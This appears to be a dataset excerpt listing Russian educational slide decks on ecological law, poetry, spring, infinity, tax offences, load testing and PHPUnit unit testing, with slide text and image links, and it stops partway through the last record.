url
stringlengths 40
45
| title
stringlengths 0
902
⌀ | category
stringclasses 58
values | slides
listlengths 1
641
|
|---|---|---|---|
https://mypresentation.ru/presentation/99585 | Правовой аспект экологического воспитания студентов колледжа. | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img0.jpg",
"description": "Правовой аспект экологического воспитания студентов колледжа."
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img1.jpg",
"description": "Цель экологического воспитания студентов: получение знаний по экологическому праву и его роли в жизни общества и государства."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img2.jpg",
"description": "Для реализации данной цели ставятся следующие задачи: рассмотрение с правовой точки зрения экологической проблемы, как глобальной проблемы человечества; раскрытие понятия экологического правонарушения и его виды; формирование знания основных особенностей и видов юридической ответственности за совершение экологических правонарушений; ознакомление с экологической обстановкой нашего региона; рассмотрение норм экологического поведения."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img3.jpg",
"description": "Отличительными особенностями экологического воспитания студентов являются: практико-ориентированный подход к изложению и применению в реальной жизни экологической информации; усиление акцента на формировании эколого-правовой грамотности студентов."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img4.jpg",
"description": "Применительно к транспортной деятельности в составе экологического законодательства России необходимо рассматривать федеральные законы «Об охране окружающей среды», «Об экологической экспертизе», «Об охране атмосферного воздуха», «Об особо охраняемых территориях», «О защите населения и территорий от чрезвычайных ситуаций природного и техногенного характера», «О санитарно-эпидемиологическом благополучии населения» и ряд других законодательных актов."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img5.jpg",
"description": "В рамках предмета «Основы права» изучается тема «Основы экологического права», где преподаватель подробно останавливается на изучении гл. 26 УК РФ «Экологические преступления» и гл. 8 Кодекса РФ об административных правонарушениях «Административные правонарушения в области охраны окружающей природной среды и природопользования»."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img6.jpg",
"description": "В рамках предметов «Грузовые перевозки», «Организация и управление пассажирскими автомобильными перевозками», «Транспортно-экспедиционная деятельность», «Транспортная логистика» проводятся уроки, на которых моделируются ситуации, связанные непосредственно с решением проблем экологической обстановки, экологических правонарушений, нормативно-правовое обеспечение перевозки опасных грузов, формируется экологический стиль мышления."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img7.jpg",
"description": "Таким образом, одним из условий эффективности экологического воспитания является эколого-правовая культура. Современному обществу необходимо знать экологические нормы, правила поведения, иметь высокий уровень эколого-правовой культуры."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img8.jpg",
"description": "Процесс формирования и развития эколого-правовой культуры - стимул для духовной практической деятельности."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img9.jpg",
"description": "Литература 1. Амбарцумян В.В. Экологическая безопасность автомобильного транспорта – М.: «Научтехлитиздат», 2009. 2. Павлова Е.И., Буралев Ю.В. Экология транспорта. – М.: «Транспорт», 2008. 3. Савин В.И. Перевозки грузов автомобильным транспортом: Справочное пособие. – М.: Издательство «Дело и сервис», 2004 4. Справочник по перевозке опасных грузов автомобильным транспортом, 2008. 5.Шкатулла В. И. Основы права: учебник для учащихся нач.проф.учеб.заведений. – М.: «Академия», 2006."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/955180763a7d4b15568ba5f7c7d2e683/img10.jpg",
"description": "Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99586 | Что такое стихи и зачем они нужны? | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img0.jpg",
"description": "Что такое стихи и зачем они нужны?"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img1.jpg",
"description": "Стихи — это вид словесного искусства Стихи — это вид словесного искусства"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img2.jpg",
"description": "Какие стихи вы знаете?"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img3.jpg",
"description": "Угадай стихотворение The curfew tolls the knell of parting day, The lowing herd wind slowly o'er the lea The plowman homeward plods his weary way, And leaves the world to darkness and to me."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img4.jpg",
"description": "Угадай стихотворение What is an Epigram? A dwarfish whole; Its body brevity, and wit its soul."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img5.jpg",
"description": "Угадай стихотворение We are the music makers, And we are the dreamers of dreams, Wandering by lone sea-breakers, And sitting by desolate streams;— World-losers and world-forsakers, On whom the pale moon gleams: Yet we are the movers and shakers Of the world for ever, it seems."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img6.jpg",
"description": "Что такое стихи и зачем они нужны?, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img7.jpg",
"description": "Что такое стихи и зачем они нужны?, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img8.jpg",
"description": "Что такое стихи и зачем они нужны?, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img9.jpg",
"description": "Что такое стихи и зачем они нужны?, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/db14f0ae8fe99d3ae995649999cd7dce/img10.jpg",
"description": "Информационные ресурсы 1.Clark H. Arenas of Language Use. – Chicago, IL: University of Chicago Press, 1992. – 374 p. 2. Clausner T.C., Croft W. Domains and Image Schemas // Cognitive Linguistics. – 1999. – № 10-1. – P. 1-31. 3. http://www.criticalreading.com/poetry.htm"
}
] |
https://mypresentation.ru/presentation/99587 | Кузнецова Лилия Рафаиловна, учитель-логопед, МБДОУ «Детский сад №85 комбинированного вида» 2011 год Презентация «Приметы весны» | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img0.jpg",
"description": "Кузнецова Лилия Рафаиловна, учитель-логопед, МБДОУ «Детский сад №85 комбинированного вида» 2011 год Презентация «Приметы весны»"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img1.jpg",
"description": "Весной солнышко светит ярче и греет теплее."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img2.jpg",
"description": "Весной тают сосульки и бывает капель."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img3.jpg",
"description": "Весной появляются проталины, а на проталинах первые цветы."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img4.jpg",
"description": "Люди надевают весеннюю одежду."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img5.jpg",
"description": "Весной тает снег и бегут ручейки."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img6.jpg",
"description": "Во дворе трава, на траве дрова. Не руби дрова посреди двора!"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img7.jpg",
"description": "Птицы вьют гнезда."
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img8.jpg",
"description": "И выводят своих птенцов."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/952b19777e8a01b50ae0c49630652e40/img9.jpg",
"description": "Нам нравится ВЕСНА!"
}
] |
https://mypresentation.ru/presentation/99588 | Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img0.jpg",
"description": "Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img1.jpg",
"description": "Но в глубине тебя есть корень, из которого произрастают все эти твои способности, подобно линиям, расходящимся от центральной точки, или ветвям от ствола дерева."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img2.jpg",
"description": "But there is a root or depth in there from where all these faculties come forth as lines from a center or as branches from the body of the tree. This depth is called the center, the fund or bottom of the soul. This depth is the unity, the eternity, I had almost said the infinity of my soul; for it is so infinite that nothing can satisfy it or give it any rest but infinity of God. Вильям Ло"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img3.jpg",
"description": "С давних пор никакой другой вопрос так глубоко не волновал человеческую мысль, как вопрос о бесконечном; бесконечное действовало на разум столь же побуждающе и плодотворно, как едва ли действовала какая-либо другая идея; однако ни одно другое понятие не нуждается так сильно в разъяснении, как бесконечность. Гильберт The infinite has always stirres the emotions of mankind more deeply than any other question; the infinite has stimulated and fertilized reason as few other ideas have Hilbert"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img4.jpg",
"description": "Where transpersonal psychology leads to?"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img5.jpg",
"description": "Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img6.jpg",
"description": "What is the subject of Transpersonal Psychology?"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img7.jpg",
"description": "Потенциальная бесконечность"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img8.jpg",
"description": "Под актуальной бесконечностью понимается бесконечная совокупность, построение которой завершено и элементы которой представлены одновременно."
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img9.jpg",
"description": "Set theory is the branch of mathematics that studies sets, which are collections of objects. Although any type of object can be collected into a set, set theory is applied most often to objects that are relevant to mathematics. The language of set theory can be used in the definitions of nearly all mathematical objects. The modern study of set theory was initiated by Georg Cantor and Richard Dedekind in the 1870s."
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img10.jpg",
"description": "сознание сознание бессознательное"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img11.jpg",
"description": "Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img12.jpg",
"description": "Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/d09ba3b5d3ca0decdf0d6f14766dec17/img13.jpg",
"description": "Открылась бездна звезд полна; Звездам числа нет, бездне Дна Михаил Васильевич Ломоносов, слайд №14"
}
] |
https://mypresentation.ru/presentation/99589 | Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img0.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №1"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img1.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img2.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img3.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img4.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img5.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img6.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img7.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img8.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img9.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img10.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img11.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img12.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/00ee2b79cf8aef877b790566f134de7b/img13.jpg",
"description": "Использование механизмов СУБД для генерации тестовых данных входных параметров web приложения Докладчик: Зинатуллин Феликс Миниса, слайд №14"
}
] |
https://mypresentation.ru/presentation/9958 | Налоговые правонарушения _ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img0.jpg",
"description": "Налоговые правонарушения"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img1.jpg",
"description": "С развитием налогового законодательства параллельно развиваются и способы его нарушения. Это неизбежный процесс, поэтому тема не теряет своей актуальности. С развитием налогового законодательства параллельно развиваются и способы его нарушения. Это неизбежный процесс, поэтому тема не теряет своей актуальности."
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img2.jpg",
"description": "Налоговые правонарушения _, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img3.jpg",
"description": "Налоговое правонарушение - виновно совершенное, вредное, противоправное деяние (действие или бездействие), за которое Налоговым кодексом Российской Федерации установлена ответственность. Налоговое правонарушение - виновно совершенное, вредное, противоправное деяние (действие или бездействие), за которое Налоговым кодексом Российской Федерации установлена ответственность."
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img4.jpg",
"description": "Нормативно закреплены две формы вины - умысел и неосторожность. Нормативно закреплены две формы вины - умысел и неосторожность. Умысел (dolus - по лат.) предполагает, что лицо, совершившее налоговое правонарушение, осознавало противоправный характер своих действий (бездействия), желало либо сознательно допускало наступление вредных последствий таких действий (бездействия). Неосторожность (culpa - по лат.) представляет собой такую форму вины, при которой лицо, совершившее налоговое правонарушение, не осознавало противоправного характера своих действий (бездействия) либо вредный характер последствий, возникших из-за этих действий (бездействия), хотя должно было и могло это осознавать."
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img5.jpg",
"description": "Налоговые правонарушения _, слайд №6"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img6.jpg",
"description": "Налоговые правонарушения _, слайд №7"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/dca790961c7c2c657d39f59cafa1527a/img7.jpg",
"description": "Спасибо за внимание!"
}
] |
https://mypresentation.ru/presentation/99590 | Компонентная среда разработки инструментария нагрузочного тестирования Евгений Рачинский. СПбГУ в сотрудничестве с Siemens Corporate Tech | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img0.jpg",
"description": "Компонентная среда разработки инструментария нагрузочного тестирования Евгений Рачинский. СПбГУ в сотрудничестве с Siemens Corporate Technology"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img1.jpg",
"description": "Нагрузочное тестирование Изучение поведения многопользовательской системы под нагрузкой Цели: Оценка характеристик производительности системы под нагрузкой Поиск узких мест в системе Планирование производительности Средства Моделирование нагрузки Инструментарий генерации нагрузки и измерения показателей Методы анализа результатов"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img2.jpg",
"description": "Инструментарий Существующие средства нагрузочного тестирования не обладают достаточной гибкостью и адаптивностью Решение: создание платформы для разработки инструментария нагрузочного тестирования Области применения Нагрузочное и стресс тестирование с использованием нестандартных протоколов Поддержка статистических методов в нагрузочном тестировании Автоматизация нагрузочного тестирования Поддержка continues integration process"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img3.jpg",
"description": "Типовая архитектура"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img4.jpg",
"description": "Области расширения Компонентная среда (OSGi/Java) Архитектура основанная на plug-ins API, точки расширения"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img5.jpg",
"description": "Сценарий Симулирует поведение пользователей Java классы Сценарий Транзакция (шаг) Запрос Иерархичность, модульность Идентификация частей сценария Генерация кода сценариев Отладка (Eclipse)"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img6.jpg",
"description": "Сценарий (пример)"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img7.jpg",
"description": "Нагрузка Нагрузка это частота обращений к системе Определяется через количество виртуальных пользователей И среднее значение и распределение времени ответа"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img8.jpg",
"description": "Определение нагрузки (пример)"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img9.jpg",
"description": "Поддержка сетевых протоколов и измерений Любой протокол, имеющий клиентcкие Java библиотеки Регистрация значений: Время исполнения Ошибки протокола/приложения Проткол-специфические измерения (размер пакета, время установления соединения, DNS время и т.п.) Инструментирование библиотек протоколов Поддержка протоколов интегрируется в базовые классы сценариев"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img10.jpg",
"description": "Run-time статистика и журналирование Измерения собираются в статистики: Среднее значение Частота событий Счетчики Определенная пользователем Масштабирование значений Среднее значение на разных масштабах времени Расширяемый «движок» статистики Filter/Pipe design pattern Журналирование Набор CSV файлов, Apache Derby Формат определен протоколом"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img11.jpg",
"description": "Управление тестом Пользовательский интерфейс Eclipse RCP UI Command line Подготовка теста Eclipse Java IDE, PDE Рабочее окружение Eclipse Исполнение теста и мониторинг Графики статистики Расширяемость Eclipse plugin-ins Chart API (JFree chart) ANT tasks"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img12.jpg",
"description": "Компоненты платформы"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img13.jpg",
"description": "Замечания по реализации Высокая производительность агентов Сложность точного измерения времени в Java (msec, nanosec) Синхронизация потоков виртуальных пользователей Синхронизация времени в распределенной среде Интенсивный поток данных (измерений) Сложность использование Java аннотаций и рефлексии"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img14.jpg",
"description": "Приложения платформы Стандартное нагрузочное тестирование HTTP, SOAP, RMI Сложные сценарии Различные протоколы в одном сценарии Симуляция вероятностного поведения пользователя (СBMG) Генерация кода сценариев (из трасс или моделей) Нагрузочное тестирование и регулярная сборка ANT task для определения и запуска теста"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img15.jpg",
"description": "Приложения платформы (2) Генерация заданной нагрузки Пуассоновский поток запросов Автоуправление нагрузкой в зависимости от текущих показателей производительности Измерение среднего значения времени ответа с заданным доверительным интервалом Автоматический поск максимальной пропускной способности системы (max TPS) Симуляция пульсирующей нагрузки"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img16.jpg",
"description": "Максимальная пропускная способность системы"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img17.jpg",
"description": "Анализ результатов Пакеты статистической обработки S-Plus (R statistics) Дисперсионный анализ сравнение производительности альтернативных конфигураций системы Корреляционный анализ Вывод параметров аналитических моделей (очереди) Построение моделей «черного ящика»"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img18.jpg",
"description": "Спасибо за внимание!"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img19.jpg",
"description": "Backup slides"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img20.jpg",
"description": "Descriptive statistics example – KPI VS. load"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img21.jpg",
"description": "Тестирование производительности распределенных систем"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img22.jpg",
"description": "Approach overview Perform load test and collect measurements Windmill + dynamic workload Determine response time distribution Statistical tests Lognormal, Gamma, Weibull distributions Fit response time distribution parameters Non-parametric models (cubic splines) Setup runtime simulator Analytical or table representation of the model Performance load test of a SUT"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img23.jpg",
"description": "Results comparison"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/f69c244831b7936af9fef334df2580bb/img24.jpg",
"description": "Компонентная среда разработки инструментария нагрузочного тестирования Евгений Рачинский. СПбГУ в сотрудничестве с Siemens Corporate Tech, слайд №25"
}
] |
https://mypresentation.ru/presentation/99591 | Белым по черному или альтернативное использование unit-тестирования | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img0.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img1.jpg",
"description": "Вся активная аудитория рунета"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img2.jpg",
"description": "десятки тысяч площадок"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img3.jpg",
"description": "онлайн демоны оффлайновых скрипты и демона веб-интерфейс Soap Api генераторы статистики и отчетов"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img4.jpg",
"description": "Белым по черному или альтернативное использование unit-тестирования, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img5.jpg",
"description": "Язык Почему PHP?"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img6.jpg",
"description": "Почему PHP? интерпретируемый"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img7.jpg",
"description": "Почему PHP? ООП"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img8.jpg",
"description": "Почему PHP? И ты, Брут?"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img9.jpg",
"description": "Юнит-тестирование Почему PHPUnit?"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img10.jpg",
"description": "Почему PHPUnit? больше возможностей"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img11.jpg",
"description": "Почему PHPUnit? интеграция в среду разработки"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img12.jpg",
"description": "Почему PHPUnit? мейнстрим"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img13.jpg",
"description": "Почему PHPUnit? интеграция с другими средствами"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img14.jpg",
"description": "Почему PHPUnit? Что нам обещает PHPUnit?"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img15.jpg",
"description": "Что нам обещает PHPUnit? просто научиться писать"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img16.jpg",
"description": "Что нам обещает PHPUnit? просто писать"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img17.jpg",
"description": "Что нам обещает PHPUnit? просто читать"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img18.jpg",
"description": "Что нам обещает PHPUnit? просто выполнять"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img19.jpg",
"description": "Что нам обещает PHPUnit? быстро выполнять"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img20.jpg",
"description": "Что нам обещает PHPUnit? тесты изолированы"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img21.jpg",
"description": "Что нам обещает PHPUnit? тесты компонуемы"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img22.jpg",
"description": "Основы PHPUnit unit-тестирование"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img23.jpg",
"description": "PHPUnit TestCase <?php require_once 'PHPUnit/Framework.php'; class WorldTest extends PHPUnit_Framework_TestCase { // Здесь сами методы тестов // ... } ?>"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img24.jpg",
"description": "Установка мира на PHPUnit public function setUp() { // Создадим новый мир для теста $this->world = new World; }"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img25.jpg",
"description": "Тест на PHPUnit public function testNewWorldIsEmpty() { // Добавим планету с существом $this->world->addPlanet() ->addMonkey(); // Убедимся, что в мире одно существо $this->assertEquals(1, $this->world->countCreatures()); }"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/473f35d67db151891f4e4b2e0ffad280/img26.jpg",
